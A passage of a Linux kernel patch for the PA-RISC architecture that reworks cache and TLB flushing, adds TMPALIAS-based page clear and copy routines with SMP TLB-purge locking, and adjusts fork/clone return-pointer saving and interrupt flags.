+	unsigned long flags, sid;
+
+	/* Note: purge_tlb_entries can be called at startup with
+	   no context.  */
+
+	/* Disable preemption while we play with %sr1.  */
+	preempt_disable();
+	sid = mfsp(1);
+	mtsp(mm->context,1);
+	purge_tlb_start(flags);
+	pdtlb(addr);
+	pitlb(addr);
+	purge_tlb_end(flags);
+	mtsp(sid,1);
+	preempt_enable();
+}
+
 void __flush_tlb_range(unsigned long sid, unsigned long start,
 		       unsigned long end)
 {
@@ -459,8 +473,65 @@ void flush_cache_all(void)
 	on_each_cpu(cacheflush_h_tmp_function, NULL, 1);
 }
 
+static inline unsigned long mm_total_size(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long usize = 0;
+
+	for (vma = mm->mmap; vma; vma = vma->vm_next)
+		usize += vma->vm_end - vma->vm_start;
+	return usize;
+}
+
+static inline pte_t *get_ptep(pgd_t *pgd, unsigned long addr)
+{
+	pte_t *ptep = NULL;
+
+        if (!pgd_none(*pgd)) {
+                pud_t *pud = pud_offset(pgd, addr);
+                if (!pud_none(*pud)) {
+                        pmd_t *pmd = pmd_offset(pud, addr);
+                        if (!pmd_none(*pmd)) {
+                                ptep = pte_offset_map(pmd, addr);
+                        }
+                }
+        }
+	return ptep;
+}
+
 void flush_cache_mm(struct mm_struct *mm)
 {
+	/* Flushing the whole cache on each cpu takes forever on
+	   rp3440, etc.  So, avoid it if the mm isn't too big.
+	   Note: This approach is faster than a range flush when the
+	   context is current, and it works even when non current.  */
+	if (mm_total_size(mm) < parisc_cache_flush_threshold) {
+		struct vm_area_struct *vma;
+
+		if (mm->context == mfsp(3)) {
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				flush_user_dcache_range_asm(vma->vm_start, vma->vm_end);
+				if(vma->vm_flags & VM_EXEC)
+					flush_user_icache_range_asm(vma->vm_start, vma->vm_end);
+			}
+		} else {
+			pgd_t *pgd = mm->pgd;
+
+			for (vma = mm->mmap; vma; vma = vma->vm_next) {
+				unsigned long addr;
+
+				for (addr = vma->vm_start; addr < vma->vm_end; addr += PAGE_SIZE) {
+					pte_t *ptep = get_ptep(pgd, addr);
+					if (ptep != NULL) {
+						pte_t pte = *ptep;
+						__flush_cache_page(vma, addr, page_to_phys(pte_page(pte)));
+					}
+				}
+			}
+		}
+		return;
+	}
+
 #ifdef CONFIG_SMP
 	flush_cache_all();
 #else
@@ -486,20 +557,34 @@ flush_user_icache_range(unsigned long start, unsigned long end)
 		flush_instruction_cache();
 }
 
-
 void flush_cache_range(struct vm_area_struct *vma,
 		unsigned long start, unsigned long end)
 {
-	int sr3;
-
 	BUG_ON(!vma->vm_mm->context);
 
-	sr3 = mfsp(3);
-	if (vma->vm_mm->context == sr3) {
-		flush_user_dcache_range(start,end);
-		flush_user_icache_range(start,end);
+	if ((end - start) < parisc_cache_flush_threshold) {
+		if (vma->vm_mm->context == mfsp(3)) {
+			flush_user_dcache_range_asm(start,end);
+			if(vma->vm_flags & VM_EXEC)
+				flush_user_icache_range_asm(start,end);
+		} else {
+			unsigned long addr;
+			pgd_t *pgd = vma->vm_mm->pgd;
+
+			for (addr = start & PAGE_MASK; addr < end; addr += PAGE_SIZE) {
+				pte_t *ptep = get_ptep(pgd, addr);
+				if (ptep != NULL) {
+					pte_t pte = *ptep;
+					flush_cache_page(vma, addr, pte_pfn(pte));
+				}
+			}
+		}
 	} else {
+#ifdef CONFIG_SMP
 		flush_cache_all();
+#else
+		flush_cache_all_local();
+#endif
 	}
 }
 
@@ -512,3 +597,67 @@ flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long
 	__flush_cache_page(vma, vmaddr, page_to_phys(pfn_to_page(pfn)));
 
 }
+
+#ifdef CONFIG_PARISC_TMPALIAS
+
+void clear_user_highpage(struct page *page, unsigned long vaddr)
+{
+	void *vto;
+	unsigned long flags;
+
+	/* Clear using TMPALIAS region.  The page doesn't need to
+	   be flushed but the kernel mapping needs to be purged.  */
+
+	vto = kmap_atomic(page, KM_USER0);
+
+	/* The PA-RISC 2.0 Architecture book states on page F-6:
+	   "Before a write-capable translation is enabled, *all*
+	   non-equivalently-aliased translations must be removed
+	   from the page table and purged from the TLB.  (Note
+	   that the caches are not required to be flushed at this
+	   time.)  Before any non-equivalent aliased translation
+	   is re-enabled, the virtual address range for the writeable
+	   page (the entire page) must be flushed from the cache,
+	   and the write-capable translation removed from the page
+	   table and purged from the TLB."  */
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	purge_tlb_end(flags);
+	preempt_disable();
+	clear_user_page_asm(vto, vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+void copy_user_highpage(struct page *to, struct page *from,
+	unsigned long vaddr, struct vm_area_struct *vma)
+{
+	void *vfrom, *vto;
+	unsigned long flags;
+
+	/* Copy using TMPALIAS region.  This has the advantage
+	   that the `from' page doesn't need to be flushed.  However,
+	   the `to' page must be flushed in copy_user_page_asm since
+	   it can be used to bring in executable code.  */
+
+	vfrom = kmap_atomic(from, KM_USER0);
+	vto = kmap_atomic(to, KM_USER1);
+
+	purge_kernel_dcache_page_asm((unsigned long)vto);
+	purge_tlb_start(flags);
+	pdtlb_kernel(vto);
+	pdtlb_kernel(vfrom);
+	purge_tlb_end(flags);
+	preempt_disable();
+	copy_user_page_asm(vto, vfrom, vaddr);
+	flush_dcache_page_asm(__pa(vto), vaddr);
+	preempt_enable();
+
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER1); */
+	pagefault_enable();		/* kunmap_atomic(addr, KM_USER0); */
+}
+
+#endif /* CONFIG_PARISC_TMPALIAS */
diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 18670a0..fcef82d 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -483,7 +483,7 @@
 	 * B <-> _PAGE_DMB (memory break)
 	 *
 	 * Then incredible subtlety: The access rights are
-	 * _PAGE_GATEWAY _PAGE_EXEC _PAGE_READ
+	 * _PAGE_GATEWAY, _PAGE_EXEC and _PAGE_WRITE
 	 * See 3-14 of the parisc 2.0 manual
 	 *
 	 * Finally, _PAGE_READ goes in the top bit of PL1 (so we
@@ -493,7 +493,7 @@
 
 	/* PAGE_USER indicates the page can be read with user privileges,
 	 * so deposit X1|11 to PL1|PL2 (remember the upper bit of PL1
-	 * contains _PAGE_READ */
+	 * contains _PAGE_READ) */
 	extrd,u,*=      \pte,_PAGE_USER_BIT+32,1,%r0
 	depdi		7,11,3,\prot
 	/* If we're a gateway page, drop PL2 back to zero for promotion
@@ -1785,9 +1785,9 @@ ENTRY(sys_fork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* These are call-clobbered registers and therefore
-	   also syscall-clobbered (we hope). */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 
 	LDREG	PT_GR30(%r1),%r25
@@ -1817,7 +1817,7 @@ ENTRY(child_return)
 	nop
 
 	LDREG	TI_TASK-THREAD_SZ_ALGN-FRAME_SIZE-FRAME_SIZE(%r30), %r1
-	LDREG	TASK_PT_GR19(%r1),%r2
+	LDREG	TASK_PT_SYSCALL_RP(%r1),%r2
 	b	wrapper_exit
 	copy	%r0,%r28
 ENDPROC(child_return)
@@ -1836,8 +1836,9 @@ ENTRY(sys_clone_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	/* WARNING - Clobbers r19 and r21, userspace must save these! */
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
+
+	/* WARNING - Clobbers r21, userspace must save! */
 	STREG	%r30,PT_GR21(%r1)
 	BL	sys_clone,%r2
 	copy	%r1,%r24
@@ -1860,7 +1861,7 @@ ENTRY(sys_vfork_wrapper)
 	ldo	-16(%r30),%r29		/* Reference param save area */
 #endif
 
-	STREG	%r2,PT_GR19(%r1)	/* save for child */
+	STREG	%r2,PT_SYSCALL_RP(%r1)	/* save for child */
 	STREG	%r30,PT_GR21(%r1)
 
 	BL	sys_vfork,%r2
diff --git a/arch/parisc/kernel/irq.c b/arch/parisc/kernel/irq.c
index c0b1aff..8094d3e 100644
--- a/arch/parisc/kernel/irq.c
+++ b/arch/parisc/kernel/irq.c
@@ -379,14 +379,14 @@ void do_cpu_irq_mask(struct pt_regs *regs)
 static struct irqaction timer_action = {
 	.handler = timer_interrupt,
 	.name = "timer",
-	.flags = IRQF_DISABLED | IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
+	.flags = IRQF_TIMER | IRQF_PERCPU | IRQF_IRQPOLL,
 };
 
 #ifdef CONFIG_SMP
 static struct irqaction ipi_action = {
 	.handler = ipi_interrupt,
 	.name = "IPI",
-	.flags = IRQF_DISABLED | IRQF_PERCPU,
+	.flags = IRQF_PERCPU,
 };
 #endif
 
@@ -410,11 +410,13 @@ void __init init_IRQ(void)
 {
 	local_irq_disable();	/* PARANOID - should already be disabled */
 	mtctl(~0UL, 23);	/* EIRR : clear all pending external intr */
-	claim_cpu_irqs();
 #ifdef CONFIG_SMP
-	if (!cpu_eiem)
+	if (!cpu_eiem) {
+		claim_cpu_irqs();
 		cpu_eiem = EIEM_MASK(IPI_IRQ) | EIEM_MASK(TIMER_IRQ);
+	}
 #else
+	claim_cpu_irqs();
 	cpu_eiem = EIEM_MASK(TIMER_IRQ);
 #endif
         set_eiem(cpu_eiem);	/* EIEM : enable all external intr */
diff --git a/arch/parisc/kernel/pacache.S b/arch/parisc/kernel/pacache.S
index 5d7218a..ed401dd 100644
--- a/arch/parisc/kernel/pacache.S
+++ b/arch/parisc/kernel/pacache.S
@@ -199,7 +199,6 @@ ENTRY(flush_instruction_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
 	load32		cache_info, %r1
 
 	/* Flush Instruction Cache */
@@ -208,20 +207,46 @@ ENTRY(flush_instruction_cache_local)
 	LDREG		ICACHE_STRIDE(%r1), %arg1
 	LDREG		ICACHE_COUNT(%r1), %arg2
 	LDREG		ICACHE_LOOP(%r1), %arg3
-	rsm             PSW_SM_I, %r22		/* No mmgt ops during loop*/
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fioneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fisync	/* If loop < 0, do sync */
 
 fimanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fimanyloop	/* Adjusted inner loop decr */
-	fice            %r0(%sr1, %arg0)
-	fice,m		%arg1(%sr1, %arg0)	/* Last fice and addr adjust */
+	fice            %r0(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)	/* Last fice and addr adjust */
 	movb,tr		%arg3, %r31, fimanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fisync	/* Outer loop decr */
 
 fioneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fioneloop	/* Outer loop count decr */
-	fice,m		%arg1(%sr1, %arg0)	/* Fice for one loop */
+	/* Some implementations may flush with a single fice instruction */
+	cmpib,COND(>>=),n	15, %arg2, fioneloop2
+
+fioneloop1:
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	fice,m		%arg1(%sr4, %arg0)
+	addib,COND(>)	-16, %arg2, fioneloop1
+	fice,m		%arg1(%sr4, %arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fisync	/* Predict branch taken */
+
+fioneloop2:
+	addib,COND(>)	-1, %arg2, fioneloop2	/* Outer loop count decr */
+	fice,m		%arg1(%sr4, %arg0)	/* Fice for one loop */
 
 fisync:
 	sync
@@ -240,8 +265,7 @@ ENTRY(flush_data_cache_local)
 	.callinfo NO_CALLS
 	.entry
 
-	mtsp		%r0, %sr1
-	load32 		cache_info, %r1
+	load32		cache_info, %r1
 
 	/* Flush Data Cache */
 
@@ -249,20 +273,46 @@ ENTRY(flush_data_cache_local)
 	LDREG		DCACHE_STRIDE(%r1), %arg1
 	LDREG		DCACHE_COUNT(%r1), %arg2
 	LDREG		DCACHE_LOOP(%r1), %arg3
-	rsm		PSW_SM_I, %r22
+	rsm		PSW_SM_I, %r22		/* No mmgt ops during loop*/
 	addib,COND(=)		-1, %arg3, fdoneloop	/* Preadjust and test */
 	movb,<,n	%arg3, %r31, fdsync	/* If loop < 0, do sync */
 
 fdmanyloop:					/* Loop if LOOP >= 2 */
 	addib,COND(>)		-1, %r31, fdmanyloop	/* Adjusted inner loop decr */
-	fdce		%r0(%sr1, %arg0)
-	fdce,m		%arg1(%sr1, %arg0)	/* Last fdce and addr adjust */
+	fdce		%r0(%arg0)
+	fdce,m		%arg1(%arg0)	/* Last fdce and addr adjust */
 	movb,tr		%arg3, %r31, fdmanyloop	/* Re-init inner loop count */
 	addib,COND(<=),n	-1, %arg2, fdsync	/* Outer loop decr */
 
 fdoneloop:					/* Loop if LOOP = 1 */
-	addib,COND(>)		-1, %arg2, fdoneloop	/* Outer loop count decr */
-	fdce,m		%arg1(%sr1, %arg0)	/* Fdce for one loop */
+	/* Some implementations may flush with a single fdce instruction */
+	cmpib,COND(>>=),n	15, %arg2, fdoneloop2
+
+fdoneloop1:
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	fdce,m		%arg1(%arg0)
+	addib,COND(>)	-16, %arg2, fdoneloop1
+	fdce,m		%arg1(%arg0)
+
+	/* Check if done */
+	cmpb,COND(=),n	%arg2, %r0, fdsync	/* Predict branch taken */
+
+fdoneloop2:
+	addib,COND(>)	-1, %arg2, fdoneloop2	/* Outer loop count decr */
+	fdce,m		%arg1(%arg0)	/* Fdce for one loop */
 
 fdsync:
 	syncdma
@@ -277,7 +327,104 @@ ENDPROC(flush_data_cache_local)
 
 	.align	16
 
-ENTRY(copy_user_page_asm)
+/* Macros to serialize TLB purge operations on SMP.  */
+
+	.macro	tlb_lock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldil		L%pa_tlb_lock,%r1
+	ldo		R%pa_tlb_lock(%r1),\la
+	rsm		PSW_SM_I,\flags
+1:	LDCW		0(\la),\tmp
+	cmpib,<>,n	0,\tmp,3f
+2:	ldw		0(\la),\tmp
+	cmpb,<>		%r0,\tmp,1b
+	nop
+	b,n		2b
+3:
+#endif
+	.endm
+
+	.macro	tlb_unlock	la,flags,tmp
+#ifdef CONFIG_SMP
+	ldi		1,\tmp
+	stw		\tmp,0(\la)
+	mtsm		\flags
+#endif
+	.endm
+
+/* Clear page using kernel mapping.  */
+
+ENTRY(clear_page_asm)
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+#ifdef CONFIG_64BIT
+
+	/* Unroll the loop.  */
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:
+	std		%r0, 0(%r26)
+	std		%r0, 8(%r26)
+	std		%r0, 16(%r26)
+	std		%r0, 24(%r26)
+	std		%r0, 32(%r26)
+	std		%r0, 40(%r26)
+	std		%r0, 48(%r26)
+	std		%r0, 56(%r26)
+	std		%r0, 64(%r26)
+	std		%r0, 72(%r26)
+	std		%r0, 80(%r26)
+	std		%r0, 88(%r26)
+	std		%r0, 96(%r26)
+	std		%r0, 104(%r26)
+	std		%r0, 112(%r26)
+	std		%r0, 120(%r26)
+
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
+
+#else
+
+	/*
+	 * Note that until (if) we start saving the full 64-bit register
+	 * values on interrupt, we can't use std on a 32 bit kernel.
+	 */
+	ldi		(PAGE_SIZE / 64), %r1
+
+1:
+	stw		%r0, 0(%r26)
+	stw		%r0, 4(%r26)
+	stw		%r0, 8(%r26)
+	stw		%r0, 12(%r26)
+	stw		%r0, 16(%r26)
+	stw		%r0, 20(%r26)
+	stw		%r0, 24(%r26)
+	stw		%r0, 28(%r26)
+	stw		%r0, 32(%r26)
+	stw		%r0, 36(%r26)
+	stw		%r0, 40(%r26)
+	stw		%r0, 44(%r26)
+	stw		%r0, 48(%r26)
+	stw		%r0, 52(%r26)
+	stw		%r0, 56(%r26)
+	stw		%r0, 60(%r26)
+
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		64(%r26), %r26
+#endif
+	bv		%r0(%r2)
+	nop
+	.exit
+
+	.procend
+ENDPROC(clear_page_asm)
+
+/* Copy page using kernel mapping.  */
+
+ENTRY(copy_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -285,18 +432,14 @@ ENTRY(copy_user_page_asm)
 #ifdef CONFIG_64BIT
 	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
 	 * Unroll the loop by hand and arrange insn appropriately.
-	 * GCC probably can do this just as well.
+	 * Prefetch doesn't improve performance on rp3440.
+	 * GCC probably can do this just as well...
 	 */
 
-	ldd		0(%r25), %r19
 	ldi		(PAGE_SIZE / 128), %r1
 
-	ldw		64(%r25), %r0		/* prefetch 1 cacheline ahead */
-	ldw		128(%r25), %r0		/* prefetch 2 */
-
-1:	ldd		8(%r25), %r20
-	ldw		192(%r25), %r0		/* prefetch 3 */
-	ldw		256(%r25), %r0		/* prefetch 4 */
+1:	ldd		0(%r25), %r19
+	ldd		8(%r25), %r20
 
 	ldd		16(%r25), %r21
 	ldd		24(%r25), %r22
@@ -330,20 +473,16 @@ ENTRY(copy_user_page_asm)
 
 	ldd		112(%r25), %r21
 	ldd		120(%r25), %r22
+	ldo		128(%r25), %r25
 	std		%r19, 96(%r26)
 	std		%r20, 104(%r26)
 
-	ldo		128(%r25), %r25
 	std		%r21, 112(%r26)
 	std		%r22, 120(%r26)
-	ldo		128(%r26), %r26
 
-	/* conditional branches nullify on forward taken branch, and on
-	 * non-taken backward branch. Note that .+4 is a backwards branch.
-	 * The ldd should only get executed if the branch is taken.
-	 */
-	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
-	ldd		0(%r25), %r19		/* start next loads */
+	/* Note reverse branch hint for addib is taken.  */
+	addib,COND(>),n	-1, %r1, 1b
+	ldo		128(%r26), %r26
 
 #else
 
@@ -399,7 +538,7 @@ ENTRY(copy_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(copy_user_page_asm)
+ENDPROC(copy_page_asm)
 
 /*
  * NOTE: Code in clear_user_page has a hard coded dependency on the
@@ -422,8 +561,6 @@ ENDPROC(copy_user_page_asm)
  *          %r23 physical page (shifted for tlb insert) of "from" translation
  */
 
-#if 0
-
 	/*
 	 * We can't do this since copy_user_page is used to bring in
 	 * file data that might have instructions. Since the data would
@@ -435,6 +572,7 @@ ENDPROC(copy_user_page_asm)
 	 * use it if more information is passed into copy_user_page().
 	 * Have to do some measurements to see if it is worthwhile to
 	 * lobby for such a change.
+	 *
 	 */
 
 ENTRY(copy_user_page_asm)
@@ -442,16 +580,21 @@ ENTRY(copy_user_page_asm)
 	.callinfo NO_CALLS
 	.entry
 
+	/* Convert virtual `to' and `from' addresses to physical addresses.
+	   Move `from' physical address to non shadowed register.  */
 	ldil		L%(__PAGE_OFFSET), %r1
 	sub		%r26, %r1, %r26
-	sub		%r25, %r1, %r23		/* move physical addr into non shadowed reg */
+	sub		%r25, %r1, %r23
 
 	ldil		L%(TMPALIAS_MAP_START), %r28
 	/* FIXME for different page sizes != 4k */
 #ifdef CONFIG_64BIT
-	extrd,u		%r26,56,32, %r26		/* convert phys addr to tlb insert format */
-	extrd,u		%r23,56,32, %r23		/* convert phys addr to tlb insert format */
-	depd		%r24,63,22, %r28		/* Form aliased virtual address 'to' */
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
+#endif
+	extrd,u		%r26,56,32, %r26	/* convert phys addr to tlb insert format */
+	extrd,u		%r23,56,32, %r23	/* convert phys addr to tlb insert format */
+	depd		%r24,63,22, %r28	/* Form aliased virtual address 'to' */
 	depdi		0, 63,12, %r28		/* Clear any offset bits */
 	copy		%r28, %r29
 	depdi		1, 41,1, %r29		/* Form aliased virtual address 'from' */
@@ -466,10 +609,76 @@ ENTRY(copy_user_page_asm)
 
 	/* Purge any old translations */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+	pdtlb,l		0(%r29)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
 	pdtlb		0(%r29)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
-	ldi		64, %r1
+#ifdef CONFIG_64BIT
+	/* PA8x00 CPUs can consume 2 loads or 1 store per cycle.
+	 * Unroll the loop by hand and arrange insn appropriately.
+	 * GCC probably can do this just as well.
+	 */
+
+	ldd		0(%r29), %r19
+	ldi		(PAGE_SIZE / 128), %r1
+
+1:	ldd		8(%r29), %r20
+
+	ldd		16(%r29), %r21
+	ldd		24(%r29), %r22
+	std		%r19, 0(%r28)
+	std		%r20, 8(%r28)
+
+	ldd		32(%r29), %r19
+	ldd		40(%r29), %r20
+	std		%r21, 16(%r28)
+	std		%r22, 24(%r28)
+
+	ldd		48(%r29), %r21
+	ldd		56(%r29), %r22
+	std		%r19, 32(%r28)
+	std		%r20, 40(%r28)
+
+	ldd		64(%r29), %r19
+	ldd		72(%r29), %r20
+	std		%r21, 48(%r28)
+	std		%r22, 56(%r28)
+
+	ldd		80(%r29), %r21
+	ldd		88(%r29), %r22
+	std		%r19, 64(%r28)
+	std		%r20, 72(%r28)
+
+	ldd		 96(%r29), %r19
+	ldd		104(%r29), %r20
+	std		%r21, 80(%r28)
+	std		%r22, 88(%r28)
+
+	ldd		112(%r29), %r21
+	ldd		120(%r29), %r22
+	std		%r19, 96(%r28)
+	std		%r20, 104(%r28)
+
+	ldo		128(%r29), %r29
+	std		%r21, 112(%r28)
+	std		%r22, 120(%r28)
+	ldo		128(%r28), %r28
+
+	/* conditional branches nullify on forward taken branch, and on
+	 * non-taken backward branch. Note that .+4 is a backwards branch.
+	 * The ldd should only get executed if the branch is taken.
+	 */
+	addib,COND(>),n	-1, %r1, 1b		/* bundle 10 */
+	ldd		0(%r29), %r19		/* start next loads */
+
+#else
+	ldi		(PAGE_SIZE / 64), %r1
 
 	/*
 	 * This loop is optimized for PCXL/PCXL2 ldw/ldw and stw/stw
@@ -480,9 +689,7 @@ ENTRY(copy_user_page_asm)
 	 * use ldd/std on a 32 bit kernel.
 	 */
 
-
-1:
-	ldw		0(%r29), %r19
+1:	ldw		0(%r29), %r19
 	ldw		4(%r29), %r20
 	ldw		8(%r29), %r21
 	ldw		12(%r29), %r22
@@ -515,8 +722,10 @@ ENTRY(copy_user_page_asm)
 	stw		%r21, 56(%r28)
 	stw		%r22, 60(%r28)
 	ldo		64(%r28), %r28
+
 	addib,COND(>)		-1, %r1,1b
 	ldo		64(%r29), %r29
+#endif
 
 	bv		%r0(%r2)
 	nop
@@ -524,9 +733,8 @@ ENTRY(copy_user_page_asm)
 
 	.procend
 ENDPROC(copy_user_page_asm)
-#endif
 
-ENTRY(__clear_user_page_asm)
+ENTRY(clear_user_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -550,7 +758,13 @@ ENTRY(__clear_user_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 #ifdef CONFIG_64BIT
 	ldi		(PAGE_SIZE / 128), %r1
@@ -580,8 +794,7 @@ ENTRY(__clear_user_page_asm)
 #else	/* ! CONFIG_64BIT */
 	ldi		(PAGE_SIZE / 64), %r1
 
-1:
-	stw		%r0, 0(%r28)
+1:	stw		%r0, 0(%r28)
 	stw		%r0, 4(%r28)
 	stw		%r0, 8(%r28)
 	stw		%r0, 12(%r28)
@@ -606,7 +819,7 @@ ENTRY(__clear_user_page_asm)
 	.exit
 
 	.procend
-ENDPROC(__clear_user_page_asm)
+ENDPROC(clear_user_page_asm)
 
 ENTRY(flush_dcache_page_asm)
 	.proc
@@ -630,7 +843,13 @@ ENTRY(flush_dcache_page_asm)
 
 	/* Purge any old translation */
 
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r28)
+#else
+	tlb_lock	%r20,%r21,%r22
 	pdtlb		0(%r28)
+	tlb_unlock	%r20,%r21,%r22
+#endif
 
 	ldil		L%dcache_stride, %r1
 	ldw		R%dcache_stride(%r1), %r1
@@ -663,8 +882,17 @@ ENTRY(flush_dcache_page_asm)
 	fdc,m		%r1(%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pdtlb,l		0(%r25)
+#else
+	tlb_lock	%r20,%r21,%r22
+	pdtlb		0(%r25)
+	tlb_unlock	%r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pdtlb		(%r25)
+	nop
 	.exit
 
 	.procend
@@ -692,7 +920,13 @@ ENTRY(flush_icache_page_asm)
 
 	/* Purge any old translation */
 
-	pitlb		(%sr4,%r28)
+#ifdef CONFIG_PA20
+	pitlb,l         %r0(%sr4,%r28)
+#else
+	tlb_lock        %r20,%r21,%r22
+	pitlb           (%sr4,%r28)
+	tlb_unlock      %r20,%r21,%r22
+#endif
 
 	ldil		L%icache_stride, %r1
 	ldw		R%icache_stride(%r1), %r1
@@ -727,8 +961,17 @@ ENTRY(flush_icache_page_asm)
 	fic,m		%r1(%sr4,%r28)
 
 	sync
+
+#ifdef CONFIG_PA20
+	pitlb,l         %r0(%sr4,%r25)
+#else
+	tlb_lock        %r20,%r21,%r22
+	pitlb           (%sr4,%r25)
+	tlb_unlock      %r20,%r21,%r22
+#endif
+
 	bv		%r0(%r2)
-	pitlb		(%sr4,%r25)
+	nop
 	.exit
 
 	.procend
@@ -777,7 +1020,7 @@ ENTRY(flush_kernel_dcache_page_asm)
 	.procend
 ENDPROC(flush_kernel_dcache_page_asm)
 
-ENTRY(purge_kernel_dcache_page)
+ENTRY(purge_kernel_dcache_page_asm)
 	.proc
 	.callinfo NO_CALLS
 	.entry
@@ -817,7 +1060,7 @@ ENTRY(purge_kernel_dcache_page)
 	.exit
 
 	.procend
-ENDPROC(purge_kernel_dcache_page)
+ENDPROC(purge_kernel_dcache_page_asm)
 
 ENTRY(flush_user_dcache_range_asm)
 	.proc
diff --git a/arch/parisc/kernel/parisc_ksyms.c b/arch/parisc/kernel/parisc_ksyms.c
index ceec85d..6795dc6 100644
--- a/arch/parisc/kernel/parisc_ksyms.c
+++ b/arch/parisc/kernel/parisc_ksyms.c
@@ -157,5 +157,6 @@ extern void _mcount(void);
 EXPORT_SYMBOL(_mcount);
 #endif
 
-/* from pacache.S -- needed for copy_page */
-EXPORT_SYMBOL(copy_user_page_asm);
+/* from pacache.S -- needed for clear/copy_page */
+EXPORT_SYMBOL(clear_page_asm);
+EXPORT_SYMBOL(copy_page_asm);
diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index d4b94b3..2c05a92 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -309,7 +309,7 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 		cregs->ksp = (unsigned long)stack
 			+ (pregs->gr[21] & (THREAD_SIZE - 1));
 		cregs->gr[30] = usp;
-		if (p->personality == PER_HPUX) {
+		if (personality(p->personality) == PER_HPUX) {
 #ifdef CONFIG_HPUX
 			cregs->kpc = (unsigned long) &hpux_child_return;
 #else
diff --git a/arch/parisc/kernel/signal.c b/arch/parisc/kernel/signal.c
index 594459b..56e0087 100644
--- a/arch/parisc/kernel/signal.c
+++ b/arch/parisc/kernel/signal.c
@@ -308,7 +308,7 @@ setup_rt_frame(int sig, struct k_sigaction *ka, siginfo_t *info,
 #if DEBUG_SIG
 	/* Assert that we're flushing in the correct space... */
 	{
-		int sid;
+		unsigned long sid;
 		asm ("mfsp %%sr3,%0" : "=r" (sid));
 		DBG(1,"setup_rt_frame: Flushing 64 bytes at space %#x offset %p\n",
 		       sid, frame->tramp);
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..9888765 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -92,11 +92,12 @@ unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,
 {
 	if (len > TASK_SIZE)
 		return -ENOMEM;
-	/* Might want to check for cache aliasing issues for MAP_FIXED case
-	 * like ARM or MIPS ??? --BenH.
-	 */
